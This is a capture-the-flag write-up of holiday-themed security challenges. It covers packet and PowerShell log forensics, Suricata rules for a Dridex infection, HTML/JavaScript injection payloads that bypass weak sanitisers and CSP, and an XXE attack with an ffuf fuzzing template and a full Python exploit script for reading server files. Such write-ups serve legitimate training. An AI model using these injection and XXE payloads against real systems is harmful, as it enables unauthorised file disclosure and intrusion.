5/5
metter
forbytten
0x7f947CAb530316A9BBa37878A254fb7738b049DF
5 Jan 2023
6 Dec 2022 to 6 Jan 2023
Out of the options under the File->Export->Objects
menu, only HTTP objects could be
exported:
app.php, which is 808kB, as per the screenshot above.
687, as per the screenshot above, is the accepted solution. However, if I understand correctly, this packet is reassembled starting from packet 23:
192.185.57.242, as per the above screenshot.
Ref_Sept24-2020.zip is saved:
$ tail app.php | grep --color=auto saveAs
saveAs(blob1, 'Ref_Sept24-2020.zip');
Israel, South Sudan as per the screenshot:
Resolution of country codes:
$ isoquery IL
IL ISR 376 Israel
$ isoquery SS
SS SSD 728 South Sudan
Yes, based on the connections to the
suspicious TLS servers, which occur after
Ref_Sept24-2020.zip
is saved.
The logs were converted to text format:
$ evtxexport powershell.evtx > events.log
events.log
was searched for the text ‘recipe’, which
identified event 7413 where the recipe was viewed on 12/24/2022:
Event number : 7413
Creation time : Dec 24, 2022 11:01:03.659392500 UTC
Written time : Dec 24, 2022 11:01:03.659392500 UTC
<snip/>
Source name : Microsoft-Windows-PowerShell
<snip/>
String: 3 : CommandInvocation(Out-Default): "Out-Default"^M
ParameterBinding(Out-Default): name="InputObject"; value="Recipe from Mixolydian, the Queen of Dorian"^M
ParameterBinding(Out-Default): name="InputObject"; value="Lembanh Original Recipe"^M
<snip/>
ParameterBinding(Out-Default): name="InputObject"; value="1/2 tsp honey (secret ingredient)"^M
<snip/>
The full command executed was found in a preceding event, revealing the recipe file name to be Recipe:
Event number : 7411
Creation time : Dec 24, 2022 11:01:03.657910000 UTC
Written time : Dec 24, 2022 11:01:03.657910000 UTC
<snip/>
Source name : Microsoft-Windows-PowerShell
<snip/>
String: 2 :
String: 3 : CommandInvocation(Get-Content): "Get-Content"^M
ParameterBinding(Get-Content): name="Path"; value=".\Recipe"^M
The line was located by grepping the logs for PowerShell script block execution events:
$ grep --color=auto -i -A8 'Event identifier.*4104' events.log | grep --color=auto foo
String: 3 : echo "Nov 25 2022 `nI love Thanksgiving because it means Christmas is almost here! That's what I'm thankful for this year... and every year. Smilegol was such a glutton at Thanksgiving dinner. He kept sticking his hand in everyone's food and yelling 'MY GERMS!' and then coughing onto it with that yucky cough he has now. He's like a whole different elf lately. Everyone is really starting to become worried about him." >> mydiary.txt
String: 3 : $foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'
String: 3 : $foo = Get-Content .\Recipe| % {$_-replace 'honey','fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'
String: 3 : $foo = Get-Content .\Recipe| % {$_-replace 'honey','fish oil'}
String: 3 : $foo | Add-Content -Path 'recipe_updated.txt'
String: 3 : $foo | Add-Content -Path 'Recipe.txt'
String: 3 : $foo = Get-Content .\Recipe| % {$_-replace 'honey','fish oil'}
String: 3 : $foo | Add-Content -Path 'Recipe.txt'
String: 3 : $foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'}
String: 3 : $foo | Add-Content -Path 'Recipe.txt'
String: 3 : $foo | Add-Content -Path 'Recipe'
with the last full line that changed the file and stored the result in a variable being:
$foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'}
The line was also observed in the grep results from step 3:
$foo | Add-Content -Path 'Recipe'
Recipe.txt, which was also observed in the grep results from step 3.
Yes. Both Recipe.txt and recipe_updated.txt were deleted:
$ grep -i -A8 'Event identifier.*4104' events.log|grep -i 'del\|rd'
String: 3 : echo "Dec 18 2022 `nLembanh! Santa wants us to try making some this year. We searched everywhere for this recipe that's supposed to have the secret ingredient to really make it authentic. It's gonna be delicious, I'm so excited!" >> mydiary.txt
String: 3 : del .\Recipe.txt
String: 3 : del .\recipe_updated.txt
No, supported by the grep results from the previous step.
4104, as supported by the greps from previous steps.
Yes, because it was viewed, then replaced by ‘fish oil’.
honey, as shown in the event from step 1.
alert dns any any -> any any (msg:"Known bad DNS lookup, possible Dridex infection"; dns.query; content:"adv.epostoday.uk"; sid:9000001; rev:1;)
The created rule considers any communication with 192.185.57.242 to be a possible Dridex infection and, thus, does not explicitly reference any internal IP ranges:
alert http 192.185.57.242 any <> any any (msg:"Investigate suspicious connections, possible Dridex infection"; sid:9000002; rev:1;)
alert tls any any -> any any (msg:"Investigate bad certificates, possible Dridex infection"; tls.cert_subject; content:"CN=heardbellith.Icanwepeh.nagoya"; sid:9000003; rev:1;)
alert http any any -> any any (msg:"Suspicious JavaScript function, possible Dridex infection"; http.response_body; content:"let byteCharacters = atob"; sid:9000004; rev:1;)
The 18.222.86.32 IP address was
identified as exfiltrating etc/passwd
:
The username of the first brute force login tried was alice:
The first successful URL path in the forced browsing attack was /proc:
The IMDS URL retrieved via XXE was http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance:
The Pin 1 frame source code reveals the correct input in an HTML comment as @&@&&W&&W&&&&:
...
<title>Lock 1</title>
<link rel="stylesheet" href="pin.css">
</head>
<body>
<form method='post' action='pin1'>
<!-- @&@&&W&&W&&&& -->
<input class='inputTxt' name='inputTxt' type='text' value='' autocomplete='off' />
<button>GO</button>
...
which successfully unlocks pin1:
Based on the image rendered for pin1 and the observed web traffic, it was conjectured that the way the application works is:
The Pin 2 frame source code contains two hints regarding the permitted input:
...
<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self';style-src 'self' 'unsafe-inline'">
<title>Lock 2</title>
<link rel="stylesheet" href="pin.css">
</head>
<body>
<form method='post' action='pin2'>
<!-- TODO: FILTER OUT HTML FROM USER INPUT -->
<input class='inputTxt' name='inputTxt' type='text' value='' autocomplete='off' />
...
Although many potential payloads can work, the following simplified payload was found to unlock pin 2:
<div style='background: white;height:400px'></div>
The Pin 3 frame source code contains two hints regarding the permitted input:
...
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'; style-src 'self'">
<!-- <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> -->
<title>Lock 3</title>
<link rel="stylesheet" href="pin.css">
</head>
<body>
<form method='post' action='pin3'>
<!-- TODO: FILTER OUT JAVASCRIPT FROM USER INPUT -->
<input class='inputTxt' name='inputTxt' type='text' value='' autocomplete='off' />
...
Although many potential payloads can work, the following simplified payload was found to unlock pin 3, which is the JavaScript equivalent of the payload used for pin 2:
<script>mydiv = document.createElement('div');mydiv.style.backgroundColor = 'blue';mydiv.style.height = '400px';document.body.appendChild(mydiv);</script>
Although 3 unlocked pins were sufficient to unlock the Boria mine doors, the remainder were also unlocked for fun and to test if anything else would happen as a result.
The Pin 4 frame source code contains a client side input sanitization function that is called when the input field is blurred (ie. loses focus). The sanitization removes double and single quotes, along with angle brackets, but not globally so multiple occurrences will not be removed:
...
<title>Lock 4</title>
<link rel="stylesheet" href="pin.css">
<script>
const sanitizeInput = () => {
const input = document.querySelector('.inputTxt');
const content = input.value;
input.value = content
.replace(/"/, '')
.replace(/'/, '')
.replace(/</, '')
.replace(/>/, '');
}
</script>
</head>
<body>
<form method='post' action='pin4'>
<input class='inputTxt' name='inputTxt' type='text' value='' autocomplete='off' onblur='sanitizeInput()' />
...
Using the browser developer tools, the onblur event handler was removed from the page. The most reliable way found was to:
Other methods tried resulted in the event handler sometimes being successfully removed but sometimes not.
The following payload was then submitted via the input element:
<div style='background: white;height:100px'></div><div style='background: blue;height:100px'></div>
The Pin 5 frame source code contains a client side input sanitization
function that is called when the input field is blurred (ie. loses
focus). The sanitization removes double and single quotes, along with
angle brackets, globally. Furthermore, the
Content-Security-Policy
indicates inline JavaScript may be
accepted:
...
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'; style-src 'self'">
<title>Lock 5</title>
<link rel="stylesheet" href="pin.css">
<script>
const sanitizeInput = () => {
const input = document.querySelector('.inputTxt');
const content = input.value;
input.value = content
.replace(/"/gi, '')
.replace(/'/gi, '')
.replace(/</gi, '')
.replace(/>/gi, '');
}
</script>
</head>
<body>
<form method='post' action='pin5'>
<input class='inputTxt' name='inputTxt' type='text' value='' autocomplete='off' onblur='sanitizeInput()' />
...
Using the browser developer tools, the onblur event handler was removed from the page using the same steps as for pin 4.
Unlike pin 4, empirical testing indicated that HTML payloads would not work but JavaScript would, consistent with the Content-Security-Policy, with the main challenge being the presence of two pipelines that need to be joined at different angles. The following payload was found to work, utilizing CSS rotation and translation of divs:
<script> divr = document.createElement('div'); divr.style.backgroundColor = 'red'; divr.style.height = '100px'; divr.style.width = '400px'; divr.style.rotate = '-30deg'; divr.style.translate = '-50px -30px'; divb = document.createElement('div'); divb.style.backgroundColor = 'blue'; divb.style.height = '100px'; divb.style.width = '400px'; divb.style.rotate = '-30deg'; divb.style.translate = '-50px'; document.body.appendChild(divr); document.body.appendChild(divb); </script>
The Pin 6 frame source code contains a Content-Security-Policy that restricts both scripts and styles:
...
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; style-src 'self'">
<title>Lock 6</title>
<link rel="stylesheet" href="pin.css">
</head>
<body>
<form method='post' action='pin6'>
<input class='inputTxt' name='inputTxt' type='text' value='' autocomplete='off' />
<button>GO</button>
...
The solution found was to first take a screenshot of the pin6 pipe layout in preparation to import the image into Gimp:
Within Gimp, three colored rectangles were drawn in a new layer to join the corresponding pipes, taking care that the rectangles overlay the correct ‘nozzles’ on the pipes, especially ensuring the red rectangle only overlaps the red ‘nozzles’ and not the left blue ‘nozzle’:
The image was then cropped to the drawn rectangles only:
This image was then base64 encoded via
cat pin6-solution_2022-12-29_18-27-06.png | base64 -w 0
and
submitted in the pin6 input as a base64 encoded image data
URL:
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAMgAAACrCAYAAAAjONNqAAAF4XpUWHRSYXcgcHJvZmlsZSB0eXBlIGV4aWYAAHja7VlbsqM4DP3XKmYJWH4vxy9V9Q5m+XNkSG4gNPeS+ZmpaqhgIhtZ0tGRTULj719Cf+Gwlh05H1PIISw4XHaZC27Ssh5lXs3i5nUe7dFn9nIqdetgiCxau35NYRv/kJungrUpuPMvilLbOuq+I7tNfzoo4rWxapHe901R3hRZXjvMpqCsbi0hp/jqQh1ruz2/hgEf0otLe7PfvkdEr3vMY5mHNXbBFRFeDbD6YbIFHYwr24yBxibc2ylx9uESAnIWp+eRYZGoqe500A6V590Brb6FgI5oOd6G2EOQw7M9lZPxhw77nJ9fZ3Zpu+O9vPSlrhYdoq8fkZ5k+gwvigsIddicerg47zAOSpxOnQimhSXi46EizjPjTMjqhlToS8OMFffZMOAS40w3xYgZs22mwUTHgzjihrmxncJkI2duVvFzehrhaLPtQJNtm7A7y09bzJw2L43mbAkzd4OhbKBM0+H2SXcfEFEqGKOx7GXGCnYxa7BhhiKnVwwDIka2oPoZ4Md5PBRXCwS9RlkpkhHYuqqo3nxVAjuBthjo0a4cNLFvChAiTO1hjLFAAKgZ600wS2SOxiCQCQAVmM7WcQUCxnvuMJJBmQBsEuvUeCSaOZQ9Q0yQo5gBCW+DjcAm2wKwnPPIn+gScqh46533Pvjok8++BBtc8CGEGLQolmijo+hjiDGmmGNJNrnkU0gxpZRTyZwtiqbPIceccs6lYM4CzQVPFwwopXK11VVPNdRYU821NKRPc8230GJLLbfSuduO+tFDjz313MswA6k03PAjjDjSyKMIUk0siRMvQaIkyVKeqG2wvp03UDMbajyR0oHxiRqkMT5UGC0nXjEDYEzOAPGoECChWTFbknGOFTnFbMkMVniGkV4x60YRA4JuGPZiHtgRr4gqcv8KN4puhxt/ihwpdDeRe8ftDLVZg9tEbGWhBnWxYF8PhVPhKshewQoyv6VHS0fBp+0fRf8XRTVHEWSvHyaTiG7MsApJl5QtOnKxMrQAphBloB52HRMHO20Hh1rqKDZlQeZFlppzz0LI1dRU5OcC4XN33vhW9SHkOciK3o76XGWgQOQpdyi9ukBg6WwWkzuzUBCpYjhqB9bE2F006LJjeIlYWUcbDZY1KfBjLNyGuoZOte7FbnozPGm7OS6y8xpy+L13K0VBCbDg2oAR05HFhOgNdrms3+Rpt647S9B2M10Nl6PbtPPbmwbDGiaKvTUrqOtm9sKM6Uxaqi1pj9cKF93CK0lJA0bBi1bHCEY2rHRXO+HSyvEC2NNu3b2+ALbBdeY0Pb3e4FI3vgXsaDaMJli9QrXz+ODwBhS2r3uonkiZQE+gDgl2zK9rd72hNgP5BtQK0w6k6+yiM38f7v4GolM60R0+XdGJ7vDpik50h09XdKI7fLqiE93h0xWd6A6fruhEd/h0RSe6w6crOtEdPl3Rie7w6YpONPmUW09VOkZnjw1flApMGHsprr3WjNe3GByH5mWMJK2kr+HYCzoPAyi53+lIFbu8JX/JsO+fCLs4vKtALS4Ve9FVSqv4a7IckEII9DcGvM1P3xhwNv3p3PTB5Kdz0/fe/8x5+tCAN+dpm37brJikOac/tNxt6dMH/0uKvAc53GjKQmHQeYDthc6EBXS1o0UrPcgy+TXqEOcr3kMKyIwCpRVjeJC5SzOgKZ0IwT0Ji5Q+5jqS8RIyUo14PXIyuq3LWiNajbqq4D1IpXQinuaA7SgTs3gVqd2EkUoBfQve7aZU8ix3eIuBu9LpvAMLFN6F7Kh4+4LXqIKFkVpv4UFx1lhASmfinlFzlrgG6CI8qFprgCCld/EuRGcB2uKgVXwLEKR0FO8CdBaeNQbKwTU4m5R24p+G5hGYFxnJSVh+kjdHGX2aN0cpfZo3Rzl9mjdHKX2aN0cpfZo3Ryl9mjfHtKFjaGyu2+8EBTY1vLNpCS76C/llS8sPB/5R9EfRLUXI165/T/wDQ3HUl/08BrwAAAGEaUNDUElDQyBwcm9maWxlAAB4nH2RPUjDQBzFX1OlIhUHO0hRyFCdWhAVcdQqFKFCqBVadTC59AuaGJIUF0fBteDgx2LVwcVZVwdXQRD8AHF0clJ0kRL/lxRaxHhw3I939x537wChUWWa1TUGaLptZlJJMZdfEUOvCGMYIUQRl5llzEpSGr7j6x4Bvt4leJb/uT9Hn1qwGBAQiWeYYdrE68RTm7bBeZ84wsqySnxOHDfpgsSPXFc8fuNcclngmREzm5kjjhCLpQ5WOpiVTY14kjimajrlCzmPVc5bnLVqjbXuyV8YLujLS1ynOYQUFrAICSIU1FBBFTYStOqkWMjQftLHH3X9ErkUclXAyDGPDWiQXT/4H/zu1ipOjHtJ4STQ/eI4HyNAaBdo1h3n+9hxmidA8Bm40tv+jQYw/Ul6va3FjoD+beDiuq0pe8DlDjD4ZMim7EpBmkKxCLyf0TflgYFboHfV6621j9MHIEtdpW+Ag0NgtETZaz7v7uns7d8zrf5+AJYpcrXDBeGFAAANeGlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iWE1QIENvcmUgNC40LjAtRXhpdjIiPgogPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iCiAgICB4bWxuczpzdEV2dD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlRXZlbnQjIgogICAgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIgogICAgeG1sbnM6R0lNUD0iaHR0cDovL3d3dy5naW1wLm9yZy94bXAvIgogICAgeG1sbnM6dGlmZj0iaHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8iCiAgICB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iCiAgIHhtcE1NOkRvY3VtZW50SUQ9ImdpbXA6ZG9jaWQ6Z2ltcDozY2JmNTE3OS04ZDFjLTRkODAtODk5YS0xYTQ5ZTA3ZWVmZWYiCiAgIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6ZmVhZGRjOTgtYzY2MS00YjViLWEyZTgtZWQwNjE0NzRhMDJmIgogICB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6NjM4NDdhZTEtYTNmYS00YTc3LWFmMzAtNTg5MDM4NGIyZWY5IgogICBkYzpGb3JtYXQ9ImltYWdlL3BuZyIKICAgR0lNUDpBUEk9IjIuMCIKICAgR0lNUDpQbGF0Zm9ybT0iTGludXgiCiAgIEdJTVA6VGltZVN0YW1wPSIxNjcyMjk5MTY2OTk4NjMzIgogICBHSU1QOlZlcnNpb249IjIuMTAuMzIiCiAgIHRpZmY6T3JpZW50YXRpb249IjEiCiAgIHhtcDpDcmVhdG9yVG9vbD0iR0lNUCAyLjEwIgogICB4bXA6TWV0YWRhdGFEYXRlPSIyMDIyOjEyOjI5VDE4OjMyOjQzKzExOjAwIgogICB4bXA6TW9kaWZ5RGF0ZT0iMjAyMjoxMjoyOVQxODozMjo0MysxMTowMCI+CiAgIDx4bXBNTTpIaXN0b3J5PgogICAgPHJkZjpTZXE+CiAgICAgPHJkZjpsaQogICAgICBzdEV2dDphY3Rpb249InNhdmVkIgogICAgICBzdEV2dDpjaGFuZ2VkPSIvIgogICAgICBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOjU0NGU5NjZlLTA1YTItNGYxMy1iZTI4LWQyNzM0ZDEwOTc1OSIKICAgICAgc3RFdnQ6c29mdHdhcmVBZ2VudD0iR2ltcCAyLjEwIChMaW51eCkiCiAgICAgIHN0RXZ0OndoZW49IjIwMjItMTItMjlUMTg6MzI6NDYrMTE6MDAiLz4KICAgIDwvcmRmOlNlcT4KICAgPC94bXBNTTpIaXN0b3J5PgogIDwvcmRmOkRlc2NyaXB0aW9uPgogPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8P3hwYWNrZXQgZW5kPSJ3Ij8+jGLv5QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB+YMHQcgLidXD5QAAAFySURBVHja7dbBCQAgDATBi9h/y7EABRF8zpQQWC6VTgc4Gk4AAgGBgEBAICAQEAgIBAQCAgEEAgIBgYBAQCAgEBAICAQEAgIBBAICAYGAQEAgIBAQCAgEBAIIBAQCAgGBgEBAICAQEAgIBAQCCAQEAgIBgYBAQCAgEBAICAQQCAgEBAICAYGAQEAgIBAQCAgEEAgIBD6pJO0MYEHg2TQfYEFAICAQEAgIBAQCAgGBgEAAgYBAQCAgEBAICAQEAgIBgYBAAIGAQEAgIBAQCAgEBAICAYEAAgGBgEBAICAQEAgIBAQCAgGBAAIBgYBAQCAgEBAICAQEAgIBBAI3laSdAc6mPsCLBQIBgYBAQCAgEBAICAQEAggEBAICAYGAQEAgIBAQCAgEBAIIBAQCAgGBgEBAICAQEAgIBBAICAQEAgIBgYBAQCAgEBAICAQQCAgEBAICAYGAQEAgIBAQCCAQEAgIBAQCAgGBgEBAICAQEAiwWfb9B1JbZ8roAAAAAElFTkSuQmCC"/>
The web application home page displays a princess, fountain and four draggable icons.
Dragging each of the four icons over either the princess or fountain presents responses containing clues in capitalized letters, such as the existence of a RINGLIST file:
After dragging each of the icons over both the princess and the fountain, a second stage of draggable icons was revealed:
After another round of dragging each of the icons over both the princess and the fountain, a third stage of draggable cons was revealed:
The total set of capitalized words revealed were
TAMPER, PATHS, TRAFFIC FLIES, TYPES, RINGLIST, SIMPLE FORMAT, APP
.
The Boria Mine bonus for opening all 6 locks also revealed there was an
XXE vulnerability.
An XXE payload was submitted to/dropped
, by changing
the JSON request to XML, setting the reqType
field to
xml
and injecting an xml entity into the
imgDrop
field. The correct path of the
ringlist.txt
was found by fuzzing at a rate of 1 request
per second:
Raw request to use with ffuf
:
$ cat request.txt
POST /dropped HTTP/2
Host: glamtarielsfountain.com
Cookie: MiniLembanh=bd88304f-d70e-484d-98a1-a6a6767ee459.Voj2slphxIDRrLjCxwVToxyPkFQ; GCLB="f5ba54f7cf67342a"
Content-Length: 198
Accept: application/json
Content-Type: application/xml
X-Grinchum: ImFlYzliMDk2N2FkNTY0YmUyYWEyM2NiNTRiMDdhNTE2NDljZDIyZGEi.Y7OzQg.5eoxPkPXJHHD8fugEFTDkuA1BPQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36
Origin: https://glamtarielsfountain.com
Referer: https://glamtarielsfountain.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "FUZZ" > ]>
<root>
<imgDrop>img2&ext;</imgDrop>
<reqType>xml</reqType>
<who>princess</who>
</root>
Wordlist, constructed based on the APP clue and the structure of observed paths requested by the app:
$ cat wordlist5
file:///app/static/images/ringlist.json
file:///app/static/images/ringlist.js
file:///app/static/images/ringlist.xml
file:///app/static/images/ringlist.txt
file:///app/static/images/ringlist.csv
file:///app/static/images/rings.json
file:///app/static/images/rings.js
file:///app/static/images/rings.xml
file:///app/static/images/rings.txt
file:///app/static/images/rings.csv
<snip/>
ffuf execution
$ ffuf -w wordlist5 -x http://127.0.0.1:8080 -rate 1 -t 1 -request request.txt -request-proto https -od responses -fs 193
...
[Status: 200, Size: 143, Words: 22, Lines: 6, Duration: 298ms]
| RES | 6567d447cfc28aee49a83f72aa1bc7b2
* FUZZ: file:///app/static/images/ringlist.txt
...
The rest of the process involving following clues returned in each successive response, such as text contained in images. Since the cookie seems to regularly expire, the full end to end ‘exploit’ was implemented as a repeatable python script, to be run via a Burp proxy:
1 #!/usr/bin/python3
2
3 import requests
4 import sys
5 import time
6 from pathlib import Path
7 import re
8
9 proxy='127.0.0.1:8080'
10 proxies={
11 'http': proxy,
12 'https': proxy
13 }
14
15 burpCA = Path.home() / "burp-cacert.pem"
16
17 session = requests.session()
18 session.proxies = proxies
19 session.verify = str(burpCA)
20
21 home_url = "https://glamtarielsfountain.com/"
22 dropped_url = "https://glamtarielsfountain.com/dropped"
23
24 def get_ticket() -> str:
25 print(f"getting ticket from {home_url}")
26 resp = session.get(home_url)
27 if resp.status_code != 200:
28 abort("wrong status code: {resp.status_code}")
29 match = re.search(r'<meta id="csrf".*content="(.*)"', resp.text)
30 if not match:
31 abort('ticket not found in response')
32 ticket = match.group(1)
33 print(f"ticket: {ticket}")
34 return ticket
35
36
37 def headers_json(ticket: str) -> dict[str, str]:
38 return {"Accept": "application/json", "Content-Type": "application/json", "X-Grinchum": f"{ticket}"}
39
40
41 def headers_xml(ticket: str) -> dict[str, str]:
42 return {"Accept": "application/json", "Content-Type": "application/xml", "X-Grinchum": f"{ticket}"}
43
44
45 def abort(msg: str) -> None:
46 print(f"ERROR: {msg}")
47 sys.exit(1)
48
49
50 def dropit(ticket: str, img: str, who: str) -> None:
51
52 burp0_json={"imgDrop": f"{img}", "reqType": "json", "who": f"{who}"}
53 resp = session.post(dropped_url, headers=headers_json(ticket), json=burp0_json)
54 if resp.status_code != 200:
55 abort('something went wrong')
56
57
58 def assert_img1_length(msg: str, expected_len: int) -> None:
59 print(f"{msg} - asserting img 1 length of {expected_len}")
60 resp = session.get(f"https://glamtarielsfountain.com/static/images/img1-{int(time.time())}.png")
61 if resp.status_code != 200:
62 abort(f"something went wrong")
63
64 # Equivalent of dragging and dropping all images onto the princess, then the fountain via the UI
65 def dropall(ticket: str, msg: str, expected_len: int) -> None:
66 assert_img1_length(msg, expected_len)
67
68 print(f"{msg} - dropping all images")
69 images = ['img1', 'img2', 'img3', 'img4']
70 destinations = ['princess', 'fountain']
71 for img in images:
72 for dest in destinations:
73 dropit(ticket, img, dest)
74
75 def progress_to_ring_images(ticket: str):
76 dropall(ticket, 'stage 1', 13879)
77 dropall(ticket, 'stage 2', 15935)
78 dropall(ticket, 'stage 3', 13858)
79
80
81 def submit_xxe(ticket: str, target_file: str, expected_resp_text: str, insert_point: str = 'imgDrop'):
82 print(f"confirming existence of {target_file})")
83
84 if insert_point == 'imgDrop':
85 burp0_data = f"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<!DOCTYPE foo [ <!ENTITY ext SYSTEM \"file://{target_file}\" > ]>\r\n<root>\r\n<imgDrop>&ext;</imgDrop>\r\n<reqType>xml</reqType>\r\n<who>princess</who>\r\n</root> "
86 elif insert_point == 'reqType':
87 burp0_data = f"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<!DOCTYPE foo [ <!ENTITY ext SYSTEM \"file://{target_file}\" > ]>\r\n<root>\r\n<imgDrop>img1</imgDrop>\r\n<reqType>&ext;</reqType>\r\n<who>princess</who>\r\n</root >"
88 else:
89 abort(f"unsupported insert_point: {insert_point}")
90
91 resp = session.post(dropped_url, headers=headers_xml(ticket), data=burp0_data)
92 if resp.status_code != 200:
93 abort("status code: {resp.status_code}")
94 if resp.text.find(expected_resp_text) == -1:
95 abort("ringlist not found")
96
97 match = re.search(r'visit": "(.*\.png.*)"', resp.text)
98 if match:
99 visit_img = match.group(1)
100 print(f"visiting image: {visit_img}")
101 resp = session.get(f"{home_url}{visit_img}")
102 if resp.status_code != 200:
103 abort(f"status code: {resp.status_code}")
104
105
106 ticket = get_ticket()
107 progress_to_ring_images(ticket)
108 submit_xxe(ticket, "/app/static/images/ringlist.txt", "Ah, you found my ring list")
109 submit_xxe(ticket, "/app/static/images/x_phial_pholder_2022/silverring.txt", "love to add that silver ring to my collection")
